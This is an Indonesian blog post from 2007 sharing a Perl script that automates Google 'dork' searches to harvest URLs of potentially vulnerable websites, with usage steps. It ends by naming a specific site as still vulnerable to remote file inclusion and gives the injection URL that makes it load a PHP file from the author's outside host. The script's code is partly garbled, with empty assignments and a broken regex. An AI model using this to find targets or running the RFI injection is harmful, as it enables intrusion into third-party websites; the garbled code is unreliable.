Minggu, 16 September 2007

Tool Pencari Google via Perl

Diposting oleh posku di 9/16/2007 10:55:00 AM
maaf kalo sekiranya sudah basi, lagi buka http://forum.milw0rm.com/viewtopic.php?t=2114&start=0&postdays=0&postorder=asc&highlight=
ternyata ada tool dengan bahasa perl untuk pencarian(dork) google tanpa harus dengan webbrowser cukup dengan tool ini maka setiap hasil pencarian akan disimpan di sebuat file .txt
cara penggunaan nya yaitu pertama kita buat file yan berisikan dork, contoh
c:\>echo allinurl:com_serverstat > mambo.txt
c:\> perl mesin_google.pl mambo.txt
kemudian di tanya apakah ingin menambah dork lagi +, jika cukup itu aja tekan enter
proses berjalan kemudian hasil pencarian akan di simpan berupa hasil_pencarian_google.txt
Original Script http://www.thorking.kit.net/exploit/un-googler.txt
Modified Script http://k1tk4t.gigcities.com/perl/mesin_google.txt
Code:

#!/usr/bin/perl

#Un-Gogler baseado no "Googler by N3ur0t1c

use IO::Socket::INET;

print " [*]-----------------------------[*]";
print "\n [*] Got2Think Hacking Team [*]";
print "\n [*] Un-Googler Filter [*] \n";
print " [*] Coded by Shaman286 [*]\n";
print " [*] Modified by k1tk4t [*]\n";
print " [*] www.google.co.id [*]\n";
print " [*]-----------------------------[*]\n\n";

if(!$ARGV[0])
{
print "Gunakan:perl $0 ";
exit;
}
chomp ($ARGV[0]);
open (sites, $ARGV[0]) or die "salah!! dork_list.txt tidak ditemukan atau belum terisi";
@sites = ;
close(sites) ;
print "\n Penambahan kata kunci(dork) untuk pencarian\n\n";
$dork2 = ;
chomp($dork2);
foreach $dork1(@sites)
{
chomp($dork1);
$a=0;
print "\n\npencarian dengan $dork1 + $dork2\n\n";
$resul2="";
while($resul2 !~ /resultados omitidos/)

{
if($a<10)
{
PEGA1:
sleep 1;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.co.id", PeerPort => 80, Proto => "tcp")or next;
print $sock "GET /search?q=$dork1+$dork2&hl=pt-BR&lr=&start=$a&sa=N HTTP/1.0\r\n";
print $sock "Content-type: text/html\n\n";
print $sock "Host: www.google.co.id\r\n\r\n";
@resul=<$sock>;
$resul2="@resul";
close($sock);
sleep 1;
}

else
{

PEGA2:
sleep 1;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.co.id", PeerPort => 80, Proto => "tcp")or next;
print $sock "GET /search?q=$dork1+$dork2&hl=pt-BR&lr=&start=$a&sa=N HTTP/1.0\r\n";
print $sock "Content-type: text/html\n\n";
print $sock "Host: www.google.co.id\r\n\r\n";
@resul=<$sock>;
$resul2="@resul";
close($sock);
sleep 1;
}

FILTER:
while($resul2=~ m/.*?<\/a>/)
{
$resul2=~ s/.*?<\/a>/$1/;
$ref = $1;
$prox = $ref;
substr($prox, 0, 7) ="";
#$ref = index $prox, '/';
#$prox = substr($prox,0,$ref);
print "$prox\n";
open(arq,">>hasil_pencarian_google.txt");
print arq "$prox\n";
close(arq);

}
$a +=10;
}
}
print "[+] Olhe a lista hasil_pencarian_google.txt\n"


hasil dari
c:\>echo allinurl:com_serverstat > mambo.txt
c:\> perl mesin_google.pl mambo.txt
hasil pencarian bisa di lihat http://k1tk4t.gigcities.com/daftar/hasil_pencarian_google.txt

dari coba dengan dork index.php? dan dork tambahan page= saya mendapatkan beberapa site yang masih memiliki bug RFI yaitu
http://www.muffindomain.com/index.php?page=links.html INJECTION WITH http://www.muffindomain.com/index.php?page=http://k1tk4t.gigcities.com/php2l.txt?